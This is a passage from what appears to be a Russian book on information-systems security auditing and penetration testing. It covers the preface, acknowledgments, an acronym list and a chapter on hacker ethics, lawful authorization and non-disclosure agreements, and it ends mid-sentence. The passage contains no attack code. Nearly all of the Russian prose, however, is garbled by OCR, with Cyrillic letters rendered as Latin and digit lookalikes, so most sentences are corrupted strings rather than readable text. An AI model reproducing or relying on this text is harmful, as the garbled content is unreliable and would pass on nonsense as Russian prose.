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6 bnarogapHocTu

YTO HOBOro BO BTOPOM 1U34aHUA

Bo BropoMm m3gaHuy KHUTH, TTOCBIIEHHON ayauTy 6e3omacHocTH WHOPMAIH-
OHHBIX CHCTEM, Best HH(pOpMAIHs mepepaboTana TakuM 00pa3oM, 4ToObI OHA CO-
OTBETCTBOBAJIa COBPEMEHHBIM peaynsiM. HekoTopbie pasjiesibl ObLIN PACIIHPEHBI,
HOBBIE /[00ABJIEHDI, W yaJEHO BCE TO, YTO, HA B3TJIS[| aBTOPA, IIOTEPSIJIO CBOTO
aKTYyaJbHOCTbD.

Krura moctpoeHa tak, 4To 4uTaTesib mocIe[0BaTeIbHO TIPOXOAUT BCE Mari, Heo6X0-
JIUMBbIE JIJIsT TPOBEJIEHUS ayinTa 6e30MacHOCTH MH(HOPMAIIMOHHBIX CUCTEM U TECTOB
Ha MPOHUKHOBEHME. Mbl HAaUMHAEM ¢ OOIINX TOHATUH, PACCMOTPEHUST CTAaH/IAPTOB
1 HeOOXOAUMBIX JEHCTBUI TI€pe/l MPOBEAECHUEM ay/IUTa, & 3aKAaHUNBAEM METOAMU
MTPOHUKHOBEHUS B MH(OPMAIIMOHHYIO CUCTEMY ¥ 3aKpeTieHus B Hell. Kakmas riaBa
KHUTY TIOZIKPETITIeHa PeabHBIMI TPUMEPAMU 1 COJIEPKUT TMTPAKTHIeCKy1o mHhopMa-
1[I0 110 TPUMEHEHNIO TeX WJIM UHBIX METO/I0B.

WNanaraemblii MaTepuas pacCulTaH Ha YUTATEIST, IMEIOIIETO OTBIT B chepe nnpopma-
IIHOHHBIX TEXHOJOTUI U 3HAKOMOTO ¢ PabOTON OCHOBHBIX CETEBBIX CEPBUCOB KaK Ha
Linux-, rak u sa Windows-miardopmax. « Ayant 6e30macHocT HHGOPMAITMOHHBIX
crcteM» OYIIeT MOJe3eH CHCTEMHBIM aIMUHICTPAaTOpaM, crernuasictam mo UT-
GE30MaCHOCTH, BCEM TEM, KTO JKEJIACT CBSI3aTh CBOIO Kaphepy € 3allUToi nH(pOpMaInm
WJIN ayIUTOPCKON /1S TeTHHOCTBIO.

bnarogapHocTu

Boipaxaio ocobyio 6maropapaocts Baagumupy OpexoBy. ITO HMEHHO TOT YeJIOBEK,
KOTOPBIi ¢ caMOro Hayajia BepUJI B ycIiexX Halero 6e3Haie;KHOro Jiejia i Helocpe/-
CTBEHHO IIPUJIOXKII PYKY K CO3[JaHMIO JaHHOI KHUTU. Bes ero momoiu Mol Obl He
MOJIYYUJTH TIOCBSIIEHHYIO TIepenoiHeHno Oydepa riiaBy HMEHHO B TAaKOM BUJIE,
B KaKOM OHa €CTb.

Cracu6o Cepreio [eHkrHY 32 peryJisipHyio HOMOIIb ¢ YPEryJINPOBAHIEM PA3INIHBIX
OPTraHU3AIMOHHBIX BOIIPOCOB, 9TO COKOHOMMUJIO AaBTOPY MHOTO CUJI M BPEMECHU.

OT/enbible U caMble TeTTble cJ0Ba GaarogapHocT Moelt cympyre Ante. Bes Tebst
s1 HE CMOT OBI CIeTaTh ¥ YaCTH TOTO, YTO CMOT. TBOU HEXKHbIE 0OBATUST BCET/a TTOMO-
raJiv JIepsKaTbCcsd B MOMEHTBI, KOT/Ia Ka3aJI0Ch, YTO CHUJI IBUTATLCS JIAJIbIIE YKE HET.

Takske xoresnoch Obl 100J1ar0JaAPUTh POAUTEIEI, BeAb 03 UX MOAEPAKKU, HACTaBJIe-
HUII U TeJBHBIX COBETOB CO3/IAHME 3TOM KHUTH OBLIO ObI HEBO3MOKHO.

[Ipomry mporienust y npyaeit. Aus, Jlapbs, Kecenus, Jleonua u IOnmanna, Hukomnai
u Anéna, [Tasen u lllanna, Cemen u Kenst, Cous, Crac u Axkap, Anuuc u Mesa,
SIrue n Tans — pabora Hajl KHUTOM OTHSLIA MHOTO BPEMEHU M CUJI, HO 3HAITE, 4TO
s Bac TIOMHIO, U y HAC BIIEPE/IH €llle MHOKECTBO He3a0bIBAEMBIX MOMEHTOB.

BeByCJIOBHO, n3ganue 9TOIl KHUT'M MOIJIO OBl CTaTh HEIIOCUJIbHON 3aj1auen 6e3 ax-
TUBHOTO Y4aCTUs OT3bIBUMBOIO 1 I[O6pO>KeJIaTeJIbHOI‘O KOJIJIEKTHBa N31aTE€JIbCKOT'O
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noma «ITurep», BeIpaskaio UM CBOIO GJIarofapHoOCTh U HaJEeI0Ch Ha JajibHeiiiee co-
TPYIHUYECTBO.

OT3bIBbI M N PEANOXEHUSA

YBaskaeMBIil YnTaTEh, HAZICIOCH, YTO BAM TIOHPABUTCS 9Ta KHUTA U BBI TIOUEPITHETE
U3 Hee MHOTO MHTEPECHOTO U MoJIe3HOTo Jiist cebst. OHako y Bac HaBepHSAKa MO-
SIBSITCS BOIPOCHI, KOMMEHTAPUH, & BOSMOKHO, TIPEJIOKEHUS WN Toskeanus. Bymy
GJiarosiapes 3a JioOOH OT3bIB U KOHCTPYKTUBHYIO KPUTHUKY, U JIJIT OOPATHOU CBS3U
OCTAaBJISITO CBOM afipec 3JIEKTPOHHOM MOYTHI: itsecbook@protonmail.com.

OT n3patenbCcTBa

Bamm 3ameuanmus, mpesiosKeHus1, BOIPOChl OTIPABJISIITE 110 ajipecy comp@piter.com
(u3narenbcTBO «IIMTep», KOMIBIOTEpHAS PEIAKITN ).

Mpbri GyzieM pajibl y3HATh Baliie MHEHE!

Ha Be6-caliTe usgarenbcTBa WWWw.piter.com Bbl HalijieTe moAPOOHY0 HH(MOPMAIIIO

O HalllUX KHUTaX.

CnncoK MCcnosib30BaHHbIX COKpa LLI,EHVII\/JI

AJTY. ApudMeTHKO-TOrnYecKoe YCTPOIICTBO
ATC. ABromatuueckast TesiechOHHAST CTAHIUST
B/I. baza mannpix

JAM3. /lemuiutapu3oBanHas 30Ha

UB. Nudopmanmnontas 6e301acHOCTh

NC. Nndopmannonnas cucremMa

NT. Nudbopmarmonubie TEXHOTIOTUN

OC. Omnepairiontasi cuctema

IT1O. IIporpammuoe obecrieuenue

CYB/. Cucrema ynpasiernnst 6azaMu JaHHbIX

API. Application Programming Interface
ARP. Address Resolution Protocol

BP. Base Pointer

CAM. Content Addressable Memory

CDN. Content Delivery Network

CERT. Computer Emergency Response Team
CMS. Content Managment System

CPU. Central Processing Unit

CRC. Cyclic Redundancy Check

CSMA/CD. Carrier Sense Multiple Access with
Collision Detection

CVSS. Common Vulnerability Scoring System
DLL. Dynamic Link Library

DLP. Data Loss Prevention

DMZ. Demilitarized Zone

DNS. Domain Name System

DOM. Document Object Model

FTP. File Transfer Protocol

GPL. General Public License

GPS. Global Positioning System

GPT. Generative Pre-trained Transformer
HEX. Hexadecimal

HTML. HyperText Markup Language
HTTP. HyperText Transfer Protocol
HTTPS. HyperText Transfer Protocol Secure
ICMP. Internet Control Message Protocol
IDS. Intrusion Detection System

IIS. Internet Information Services

IP. Internet Protocol
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IPS. Intrusion Prevention System
ISN. Initial Sequence Number

ISO. International Organization for
Standardization

ISSAF. Information System Security Assessment
Framework

LAN. Local Area Network

LDAP. Lightweight Directory Access Protocol
LFI. Local File Inclusion

LIFO. Last In First Out

LM. Local area network Manager

LSASS. Local Security Authority Subsystem
Service

MAC. Media Access Control

MBR. Master Boot Record

MIB. Management Information Base

MX. Mail Exchange

NetBIOS. Network Basic Input/Output System
NFC. Near field communication

NFS. Network File System

NIC. Network Information Center

NIST. National Institute of Standards and
Technology

NLA. Network Level Authentication

NOP. No Operation

NOSINT. Net-based Open Source INTelligence
NS. Name Server

NTLM. New Technology Local area network
Manager

NTP. Network Time Protocol

NVT. Network Vulnerability Tests
OSI. Open Systems Interconnection
OSINT. Open Source INTelligence

OSSTMM. Open Source Security Testing
Methodology Manual

OWASP. Open Web Application Security Project

PCI DSS. Payment Card Industry Data Security
Standard

PIN. Personal Identification Number
PTES. Penetration Testing Execution Standard
RCE. Remote Code Execution

RDP. Remote Desktop Protocol
REST API. Representational State Transfer API
RIPE. Réseaux IP Européens

RPC. Remote Procedure Call

SAM. Security Account Manager
SAN. Storage Area Network

SDL. Security Development Lifecycle
SET. Social-Engineer Toolkit

SMB. Server Message Block

SMTP. Simple Mail Transfer Protocol
SNMP. Simple Network Management Protocol
SP. Stack Pointer

SQL. Structured Query Language
SSH. Secure SHell

SSID. Service Set Identifier

SSL. Secure Sockets Layer

SSTI. Server-Side Template Injection
SSRE Server-Side Request Forgery
TCP. Transmission Control Protocol
TFTP. Trivial File Transfer Protocol
TLS. Transport Layer Security

TTL. Time To Live

UDP. User Datagram Protocol

URL. Uniform Resource Locator
USB. Universal Serial Bus

VAS. Open Vulnerability Assessment System
VB. Visual Basic

VBA. Visual Basic for Applications
VLAN. Virtual Local Area Network
VNC. Virtual Network Computing
VoIP. Voice over Internet Protocol
VPN. Virtual Private Network

WCE. Windows Credentials Editor
WEP. Wired Equivalent Privacy
WPA. Wi-Fi Protected Access

WPS. Wi-Fi Protected Setup
WWW. World Wide Web

XSS. Cross-Site Scripting

XXE. XML External Entity

ZAP. Zed Attack Proxy



Ob6Lme ceeaeHus 06 ayaute
MHMOPMALIMOHHbBIX CUCTEM

Ha manfbIii MOMEHT CcylIecTByeT MHOXKECTBO MaTePHUAJIOB, TOCBAIIEHHBIX PAa3Iny-
HBIM MeToziaM B3sioMa nHdopManmnoHHbIX cucteM (1C) 1 MpOHNKHOBEHNS B HUX,
GOJTBINAsT YaCTh KOTOPBIX MPEACTABISAET co60it HabOp TOTOBBIX MIAr0B W 0OeIaeT
GBICTpPBIIT pesysibrat. UTo jke Ha caMOM JieJie OTJIMYAET BaC KaK CIEIMaIuCcTa OT Tex,
KTO paboTaeT MperMyIecTBEHHO € TAKMMU UCTOYHUKaMU? OTBET MOJKET TIOKa3aThCst
CKYYHBIM 1 GAHATBHBIM, HO BCE K€ CKAXKEM: 9TO METOOTOTHYECKUH TTOAXOT, 3HAHTE
1 TOHUMaHUe TOTO, YTO MTPOUCXO/NT.

[Tpu HanMcaHWK HTOI KHUTK Obljla IOCTABJIEHA 3a/[a4a He IPOCTO PACCMOTPETD OlIpe-
JleJIEHHbIN HabOP MHCTPYMEHTOB, HO IaTh YUTATEIIO TIYyOOKIE 3HAHMST, TO3BOJISTIONINE
aIAITUPOBATh PAOOTY ATUX MHCTPYMEHTOB K KaK[0i KOHKPETHOM 3a/[aue U B LIEJIOM
caenath paboTy GoJiee TTPOAYKTUBHOM.

Kuura He mpertengyer Ha TO, 4TOOBI CTATh MOJTHBIM ¥ HCYEPITHIBAIOIIIM PYKOBO/I-
crBOM B chepe uHpopMaimonHoii 6esomnactocty (MB), riiaBHoOII ee 3aiaueii siBisteTCst
3HAKOMCTBO C OCHOBHBIMU KOHIIETIIIMAMU 1 nipuMepamu. [locie ee mpouTeHus Bam
MIPEZICTOUT MPOBECTHU JJOCTATOUHO MHOTO BPeMeHH, COBEPIIEHCTBYSI CBOM 3HAHUS
U TIOJTyYeHHBIE HABBIKH, HO 32 MHTEPECHOI pabOTON 1 BpeMst JIETUT HE3aMETHO, He
TaK Jin?

JLJ1s1 TEX, KTO TOJIBKO JIe/IA€T CBOM MePBbIE IIark B 061acTH HHHOPMAIIMOHHBIX TEXHO-
goruit (UT), kHKUTa MOJKET OKA3aThCs CIOKHON i ToHnManus. OHa IIpeirnoiaraer,
YTO y BaC €CTh HEKOTOPbII OMBIT PAGOTHI ¢ OCHOBHBIMU CETEBBIMU CEPBUCAMU U BbI
KaK MUHUMYM He OouTech KoMaHHO# cTpoku Linux. CipaBeinBOCTH Pagu CTOUT
1M06aBUTD, YTO MHOT/IA 3HAHNE CTAHIAPTOB MEIMAET MBICIUTH BHE paMok. Ho Bee ke
6e3 3HaHVs TPUHIUTIOB PaboThl omeparnnoHHbix cucteM (OC), KOMIBIOTEPHBIX Ce-
Teil, Ga30BbIX HABBIKOB IIPOrPAMMUPOBAHKs BaM OY/IET IOCTATOUHO CJIOKHO BOWTH
B chepy UD.

CTouT OTMETUTD, 9YTO B TIOCTEAHEE BpeMs crennaanctaM B chepe Vb mpurmiocs
OCBOUTH €ellle OJIHY CIIeIMaJn3aIuio — ylpaBjeHue npoekrTamMmu. B coBpeMeHHOM
MUPE B CBS3U C MIOCTOSIHHBIM YBEJTMUYEHUEM JIOCTYITHON MH(OpMaIUK Criernaimnsa-
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ST TOCTOSTHHO CTAHOBUTCSI Bee GoJiee Y3KOii, He MUHOBAJIO 10 1 cepy UB. Ecim
B Cpezsnue Beka OJJMH Bpay MOT JIYUTb IIPAaKTUYECKU BCe, TO B Hallle BpeMs eCTh
olpe/ieJIieHHbIE CIIeIMAINCTBI: HEBPOJIOT, Kap/IM0JIOT, PEBMATOJIOT, HEHPOXUPYPT
u 1. 1. To ke camoe kacaercst u IB: Bbl 00513aTe/IbHO BCTpeTHTE TIPOGHECCHOHAIIOB,
CHIETUATMBUPYOIIUXCST B OCHOBHOM Ha MOUCKEe MH(DOPMAIIUH, BEO-TIPIIIOKEHUSX UITH
ammapatHoM B3noMe. Kora BbI TOJIydnTe KOHTPAKT Ha ayANT GOJIBITON U CIOKHOM
N C, Bam npueTcst PYKOBOJAWTD BCEMU 9TUMU CIICIIUATUCTAMU, IeJaTh Tak, YTOOb!
onu paboranu ciaakenno u adekTuBHO. PYKOBOICTBO NPOEKTaMU BBIXOIUT 32
PaMKM TeMbl 3TOI KHUTH, HO MBI HACTOATEJIbLHO PEKOMEH/IyeM BaM O3HAKOMUTBCS
€ OCHOBAMU 3TO# pabOTHI.

Bonpockl 3TUKK

B mupe unbopmannonnoit 6€30macHOCTH TIPUCYTCTBYET YCIOBHOE Pas/esicHue
sanuMaromxcst B3aomoM VC Jrofiell Ha TpU TPYIIIbL «depHbie msiibi» («Black
Hat»), «cepbie nuisnoi» («Gray Hats) u «6esnbie s> («White Hat»). B uem
JKe MPUHIUINAIBHOE pasjinyre Mesxy Humu? Ha mepBoiil B3rJisi B COOJIOEHUH
3TMYECKUX TPIHIINTIOB. Belb OTHI 3aHIMAIOTCST HE3aKOHHOM JeATeTbHOCTHIO, a IPY-
rre coOJTI0AI0T MPUHATHIE HOPMBI. Ho Ha caMoM jiesie T/IaBHOE OTIHYHE «4ePHBIX>
OT «OeJIbIX» COCTOUT B MOJYYCHUH pasperieHus. «epHbie»> 3aHUMAIOTCST B3IOMOM
u niporukHoBenueM B IC 6e3 kakoro-nmubo cornacoBanus, a «Gesibie» JeJaioT 9T0
C paspelieHus BIaIebIla CUCTEMBI.

B mannom KoHTEKCTE CTOUT YIOMSIHYTH uctopuio Anpuana Jlamo (Adrian Lamo).
On BaJs1amMbIBasl MHOOPMAIIMOHHBIE CHCTEMbI OPraHU3aLMil 0e3 NX BeJloMa U COTJIacusl,
HO KasK/IbIil pa3 1ocJie yIaYHOT0 TPOHIKHOBEHUS CO3/IABA MTOAPOOHBII OTYET O CBO-
eit pabote 1 oTmpassii ero Baagenabiiam MC ¢ peKOMEHIAIMSIMA TI0 YCTPAHEHUTO
HeztoctaTkoB. M Bee ke, HECMOTPsI HA MHOTOYNC/IEHHbBIE OJ1ar0JapHOCTH, HIXPOKOE
TIPU3HAHE B OTIPE/IETIEHHBIX KPYTaX U ITHIHOE TIOBE/IEHIIE, EMY He YIaT0Ch n3beKaTh
YTOJIOBHOTO IIPECIeJOBAHUS U PEAJLHOTO TIOPEMHOTO CPOKa. JTOT CIyYail JeMOH-
CTPUPYET, YTO Jjaske «4epHble HLISAIb» MOTYT JelCTBOBATb TUYHO.

[[JIE[ HEKOTOPbLIX CIIENUAJINCTOB BOIIPOCHI 9TUKW OCTAIOTCA CKYUYHBIMU W HEIIOHAT-
HbIMU, N3BECTHBIMU JINIIDH U3 HpCSCHTaHI/Iﬁ NJIn B€6I/IHapOB, OQHAKO JJId TeX, KTO
OTHOCHUT ce0sT K Kareropmumn «besbIx HIJIAI», OHN ABJIAIOTCA (byHIIaMeHTaJIbeIMI/I.
«bembie mIABI> HE TOJBKO CTaparTca CO6JIIO]_IaTb ITUYECKUE ITPUHITUIIBI, HO 1 aK-
TUBHO ITPOABUTAIOT CBOU U/IEU B O6HI€CTB€.

Taxk, Koncopiiuym unrepuer-cucreM (Internet Systems Consortium) — oxna u3
OpraHU3alNii, 3AHUMAIOIIUXCS BOTIPOCaMU HWH(DOPMAIIMOHHON 6e301acHOCTH, —
oIpeieisieT OCHOBHBIE 9THYECKIE KAHOHBI CJIEAYIONINM 00pa3oM:

e 3zamuiaiire o61iecTBo, oOlecTBEHHOE 6J1ar0, 001LIeCTBEHHOE JoBepre U nHdpa-
CTPYKTYDY;
® JIeliCTBYITE YeCTHO, CIIPaBe/INBO, OTBETCTBEHHO U 3aKOHHO;
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® BBINOJHSIIITE CaTysKeOHbIe 00I3aHHOCTI JOOPOCOBECTHO 1 TIPO(ECCHOHATBHO;

® pasBuBaliTe U 3amuInaiTe mpodeccuio.

Heobxommmo Beeria CTaBUTh BOMPOCH 9TUKHM BO TJIABY YIJIa; BaM 4acTO MPUAETCS
JeJaTh BBIOOP, OCHOBBIBASCH UCKIIOYNUTENBHO Ha BHYTPEHHEM UyBCTBE CIIPABE]-
JIMBOCTH, U K COKAJIEHMIO, He BCEr/Ia NPaBUIbHbBIIA BHIOOD GyeT CaMbIM MTPOCTHIM
U yIOOHBIM.

YepHble wnanbl

B cdhepe B «yepHbIMU MITSATTaMU» HA3BIBAIOT TEX, KTO MTPOHUKAET B WH(MOPMAI-
OHHBIE CHCTEMbI G€3 TTOJIyYeHUsT TIPEIBAPUTETLHOTO coryiacusi. HeKoTopble aeaoT
9TO 10 (PUHAHCOBBIM COOOPAKEHUSIM, KTO-TO U3 CHOPTUBHOTO HHTEpeca — IPUYNH
Ha CAMOM JIeJIe MOKET OBITh MHOTO, ¥ HE CTOWT BCET/Ia CBOAUTH MOTHBAIIMIO JIUIITH
K OJIHOU U3 HUX.

YacTo carydaeTcs Tak, 9To IEWCTBYIONINE HA TEPPUTOPHUN OJTHON CTPAHDI B DAMKAX €€
[PABOBOTO IOJISI CIENUANUCTBI 110 V1B MOTYT ITp1 9TOM HApyIaTh 3aKOHOAATEIBCTBO
APYTOii cTpanbl. B aTOM cirydae ux eicTBYsI Bce PABHO GY/IyT CUNTATHCS HE3AKOHHBI-
MU ¥ MOTYT TIOBJICYb CEPHE3HBIE TIOCIEACTBUS. ITO XOPOIIO WILTIOCTPUPYET CIIydaii
¢ imurpuem CristposbiM. Ero pabota 6biia cBsizana ¢ 06X0/I0M METO/IOB 3all[UThI
AJIEKTPOHHBIX KHUT, pazpabotanHoii komnanueit Adobe. IMuTpuii ObLT apecTOBaH 0
npueszie B CITTA Ha koHbepeHIHo 110 MHOOPMAIIMOHHON GE30ITaCHOCTH, TaK KaK €ro
MEMCTBYST HAPYTITIIN 3aKOHBI ATOH CTPaHb! (HECMOTPS HA TO, YTO TI0 3aKOHY CBOETO
TOCY/IAPCTBA OH He CUUTAIICS MPECTYITHUKOM).

Wuoraa MoKHO CTaTh IPECTYIMTHUKOM, ZIasKe BBITIOJHSS BIIOJIHE 3aKOHHbIC 1€HCTBUS.
B HEKOTOPBIX KOMIIAHUAX €CTh CHeIlUaJbHbIe TTPOrPAMMbBI, KOTOPBIE TIO3BOJISIOT
OCYTIECTBIISITH TOUCK YSI3BUMOCTEN (€3 MPeIBAPUTETHHOTO COTITACOBAHUS, HO U TYT
He Bce Tak mpocto. Matika Jlumna (Michael Lynn) marmen ysi3BUMOCTb B TPOAYKTE
koprioparuu Cisco u XoTeJs IpeACTaBUTh ee HA o/HOI 3 KoHpepenuuit mo Nb.
Korzma npecraBuresin KOMIAHUU Y3HAIU 00 9TOM, OHU TIOIAJIM HA UCCIIE/I0BATEsT
B CY/I C IIeJIbIO 3aITPETUTDh €My BBICTYNATh ¢ TAKUM JoKJIa7oM. HecMoTps Ha 710-
CTUTHYTOE COTJIAIIICHNUS, OH BCe JKe BBICTYIINJI ¢ 3ariaHupoBanHon Temoii. [Tocie on
HOJTy I CyIeOHbIIT 3aMpeT Ha JajibHeiiliee pacKpbITre MH(OOPMAIIUE O TI0JIyIeHHOI
VSI3BUMOCTH. TyT MBI OTISITh CTAIKUBAEMCST C ATUIECKUM BOTIPOCOM — CUUTATH €TO
3JI0YMBIIIJIEHHUKOM UJIH HET?

Takske U3BECTHBI CJIyYau, KOT/Ia TIOCJIE YCIIEITHO MTPOBE/ICHHBIX aTakK, HAI[eJIEHHBIX Ha
nporukHoBenne B VIC, crenuanicTaM yaaBantoch n3beskarh cyaebGHOTo TpecieoBa-
HUS U OHU YCTPAUBAINCh HA XOPOTIIO OTJIAYMBAEMbIe JIOJKHOCTH.

TpyaHOCTH € TOYHOH KTaccuduKaryeil 06yCIOBIECHbI TEM, YTO B €€ OCHOBY TOJIOKEH
NIpU3HAK, 110-Pa3HOMY OlleHUBaeMbIi C Pa3JIMYHBIX TOUeK 3peHusl. B aToil kHure
OCTAHOBMMCST HAa TOM, UTO «4epHbIe IIJISAIBI» — 3TO Te, KTO COBePIaeT He3aKOHHbIE
JIEHICTBUSL.
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benble wnanol

B nonassistioreM GOJIBIIUHCTBE 9TO CHENUATUCTBI, KOTOPBIE OCYIECTBISAIOT ay/UT
6e30macHOCTH HHMOPMAITMOHHBIX CHCTEM TIO TIPEBAPUTETHHOMY COTJIACHIO 06enX
CTOPOH, TIO/[ KOUM OOBIYHO MOPa3yMeBaeTCs TPYAOBOIl JOTOBOP I JIOTOBOP Ha
oKazanue ycryT. Bce 3aKOHHO 1 He CBSI3aHO € KaKMMU-JTNO0 STHYECKUMHU HITH TIPABO-
BBIMU KOH(DIMKTaMU.

Muorux 60JIbIle BCETO MHTEPECYET BOIIPOC, KTO JKe 00JIajaeT JIydIinMI HABbIKAMU
B3JIOMA U TPOHUKHOBEHWST — «OeJIbIe MIJISITTBI» WM «4ePHbIe» ?

Ha camom fiese He Bce Tak mpocTo. OOBIYHO Te, KTO 3aHMMAETCS 3aKOHHBIM ayIUTOM,
Gosiee ipodeccrnonabHbl. dacTo 9T0 COTPYAHUKN KPYTHBIX (DUPM MM KOMITAHMIA,
CTIENUATN3UPYIOMUXCS Ha TpefocTaBiennu yeayr B obaactu T u B, koTopsie
MOTYT BKJIAJIBIBATH CPECTBA B 0OyUerne cBoux paboTHmkos. Cie0BaTe bHo, OHI
MOJIYYATOT IOCTYITI K JIYYITUM MaTepruaiaM U ¢ HUMHU PabOTAIOT OTIBITHBIE HHCTPYKTO-
por. Takske y «GEITBIX TS €CTh BO3MOKHOCTD Ha TIPAKTHKE TO3HAKOMUTHCS C Pas-
JIMYHBIMK TIPOAyKTamMu obecriednBaiomux VB koMnaHuii, mporecTupoBaTh HOBOE
060pyIOBaHNE 1 TIPOTOKOJBI.

OmHaKko 1 Ha HUX HAKJIQ/IBIBAIOTCS OTIpe/leIeHHbIe OTpaHNYeHNUs. Bo-TiepBhIX, Kak
yKe YIIOMUHAJIOCh, OHU CBS3aHbl 3TUYECKUMU U IIPAaBOBbIMU HOpMaMu. Bropoit
MOMEHT CBSI3aH C TEXHUYECKUMU acTieKTaMu. HacTo BBITTOJIHEHNWE TeCTOB Ha TTPO-
HUKHOBEHUE MOKET IPUBECTH K MOTEPE TaHHBIX, OTKA3y B OOCTYKUBAHUHU U IPYTUM
HEMPUATHOCTSIM, CIIOCOOHBIM TTAPATH30BaTh PaboTy MpeanpusTus. B ¢Bsasu ¢ atum
«6eJTble TISATBI» HECKOJIBKO OTPAHIIEHBI B METO/IAX U He BCET/Ia UAYT 0 KOHTIA.

Cepble wnanbl

Kax yske ObLI0 CKa3aHO, OTHECEHHE CIEIUAJICTA K TOW U MHOU KaTerOPHK HHOT/IA
3aBUCUT OT TOUKH 3PEHUSL. ITO CIIPABE/IMBO M B OTHOLICHUN «CEPbIX NI ». Takue
CIIEIUATUCTBI TI0 GOJBIIEN YacTh JeHCTBYIOT B PaMKaxX 3aKOHA, HO MHOT/Ia MOTYT
HE3HAYUTEJbHO BBIXOAUTH 3a €To Ipe/esbl. Tak, HeKOTOpble CIeUaJnCTh MOTYT
OCYIIECTBJISITH B3JIOM KOMMEPUECKOro porpamMmmuoro obecrieuetust (I10O), Ho gesator
ATO He JIJIs U3BJICUEHUS TIPUOBLIN UK TYOJIUKAIIMU PE3YJILTaToB cBoeil paboThl. Bot
TaKKUX CIEIUATMCTOB U MOKHO OTHECTH K JAHHOI KaTeropuu.

B3nom vnn ayaut?

Pa3 y:k MbI HauaJu TOBOPUTH O TEPMUHOJIOTUHU, 3aTPOHEM €Ille OJIMH TEPMUH —
«B3JI0M». B3j10M — 9TO He3aKOHHOE TPOHUKHOBEHUE B CUCTEMY, TOT/Ia KaK TECT Ha
MPOHUKHOBEHUE — 3aKOHHOE JieficTBre. KOHeuHo, 9TO /ieJieHre YCI0BHO, Bellb BCE
3aBUCHUT HE OT TEPMUHOJIOTUH, & OT TOTO, B KAKOM KOHTEKCTE MPOUCXO/IUT JIAHHOE
JIeHICTBHE.

A BOT ayauT I/IH(l)OpMaHI/IOHHbIX CHUCTEM CHUJIbHO OT/IMYACTCA OT B3JIOMa U /JaKe OT
TeCTa Ha ITPOHNUKHOBEHUE. BO-HepBbIX, TOHATHUE ayaAuTa MIPUMEHNMO TOJIBKO K 3a-
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KOHHBIM JIelicTBUSIM. BO-BTOPBIX, ecyiv TecT Ha TPOHUKHOBEHME O3HAYAET TIOUCK
YSA3BUMOCTH U €€ TI0CJIEYIONLYIO 9KCIIyaTalluIo, TO ayIUT IIpelyCMaTpUBaeT IIOMCK
1 BO3MOSKHYIO KCILIyaTalllio BCeX HAMIEHHBIX ayJIUTOPOM ysa3BUMOcCTel. TecTsl
Ha TPOHUKHOBEHHUE 03HAYATOT, YTO XaKep M3HAYaIbHO HUYETO He 3HAEeT O BHYTPEH-
Hell ceTu IpeANpUATIs — TaK HadblBaeMblil MeTog uepHoro sinka («Black Box»).
B ayauTe mpesycMOTPEHBI METObI KaK «UEPHOTO SIIIKA», TAK U «OeJIOT0 SIHKa»
(«White Box»), korjga ayauTop moJydaeT AOCTYN K KOHGUTYPAIUU U TTOJHON
undopmaiuu 060 Bcex MC npeanpusitst. B 1aHHON KHITE PACCMOTPEHBI TOJIBKO
MeTtobl «Black Box».

ABTOD HajieeTcs, UTO YnuTATETH OYAYT UCIOTb30BaTh MH(MOPMAIIUIO U3 TAHHON KHUTY
TOJTBKO B 111X 3akoHHOTO0 B3stoma M C. [Toxkamyiicta, mOMHUTE O HEOTBPATUMOCTH
HakasaHus — JI00ble He3aKOHHBIE JeCTBHUS BJIEKYT 3a 000l YTOJOBHYIO MU -
MUHUCTPATUBHYIO OTBETCTBEHHOCTb.

Pa3pelueHne Ha B3/10M

Bbl yske HaBepHsIKa 3alHTEPECOBAINCH BOIIPOCOM, @ MOKET JIM B3JIOM OBITh 3aKOH-
HbIM? KoHeuno moskeT! 3aKOHHBIM B3JI0M WHMOPMAIIMOHHBIX CUCTEM SIBJISIETCS
B HECKOJIBKUX CJTy4asX:

® BbI B3J/laMblBaeTe IIpUHA/JIeKalie BaM I/IC,

® ayauT uHOOPMAIMOHHO 6€30MaCHOCTH CETH MPEATPUITUS BXOAUT B BaIlN
MOJKHOCTHBIE 00SI3aHHOCTH;

® BbI B3J/IaMbIBa€Te CEThb OpraHmusalimu, KOTOpOﬁ Y BacC 3aKJ/I04Y€HO IMMCbMEHHOE
COTJiallleHne O IPpOBEeACHNUN ay/inTa NJIN TECTOB Ha IPOHUKHOBEHUE.

[ToCKOJIbKY B MEPBBIX [IBYX CIYYAsIX BCE JOCTATOYHO IPOCTO, MBI He OY/IEM 3a0CTPSITh
CBOE BHUMAHWE Ha X PACCMOTPEHNUH, a Pa3OepeMcest CO cirydaeM, KOT/a BAC HaHMMAKOT
ISt TIpoBeieHust BHernHero ayauta IC. B 910l cutyaiuu nepes HadyaaoM paboT Bbl
JIOJKHBI Oy/1eTe 3aKJII0UUTh HECKOJIBKO COTJIANIeHHIT, KOTOPbIE M PACCMOTPUM TIO/I-
pobee.

CornalueHue o Hepasr/ialeHnn

Cxopee Bcero, BBl yiKe BCTPEUANNCH C TAKUM TUTIOM JOKyMeHTOB. OCHOBHAS €TO
CYTb 3aKJIIOYAETCS B TOM, UTO BbI 06513y€eTech He pas3riianiaTh J00yio HHhOpMAaInio,
MOJTyIeHHYIO B X0/ie mpoBejietus ayauta VI C 3akazunka. OGBIYHO 9TO OTHOCUTCS He
TOJIbKO K MPOMEKYTKY BPEMEHH, B KOTOPBIN TPOBOJAATCS PabOTHI, IEiiCTBUE TaKUX
COTJIANIEHWI MOJKET PacTAruBarThes Ha gecaTuietusd. CoriameHns MOTYT TaKxKe
CO/IEPKATH CIEIUANBHBII TYHKT O XpaHEHUH, 06paboTKe U METO/IAX YHUUTOKEHUST
JAHHBIX. ByBTE TOTOBBI K TOMY, UTO BAC MOTYT MOTIPOCUTH YHUUYTOXUTD CIIEIIAATTH-
HO OrOBOPEHHBIM METO/IOM KeCTKHUe JUCKH, Ha KOTOPBLIX XpaHusuach uHdopmarus,
U [IPEJIOCTABUTH TOMY JJOKyMeHTaJIbHOe oATBep:kAeHne. ClpaBeInBOCTH pajiu
CJIeJIyeT CKa3aTb, YTO 3TO CKOpee UCKII0UeHNe, HEKEeH MTPaBUIIO.
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[Mox meficTBUE ATOTO COTATIEHNST TOAMAMATOT AOCOMIOTHO BCe MHPOPMATTHOHHbIE
MOTOKH, KOTOPBIE CO3/IaBAIMCH B XO/€ Balliell paboThl. ITO PACIPOCTPAHSAETCS Ha
CHUMKH 9KPAHOB, TI0/ITOTOBJIEHHYIO IOKYMEHTAIINIO, BKJIIOYasl BCe YePHOBUKHU, NCTO-
